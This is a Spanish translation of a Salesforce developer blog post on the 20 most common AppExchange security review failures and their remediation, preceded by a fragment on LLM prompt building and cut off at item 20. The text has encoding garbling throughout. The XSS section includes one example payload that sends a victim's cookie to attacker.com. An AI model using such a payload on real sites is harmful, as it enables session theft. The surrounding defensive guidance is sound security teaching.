El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

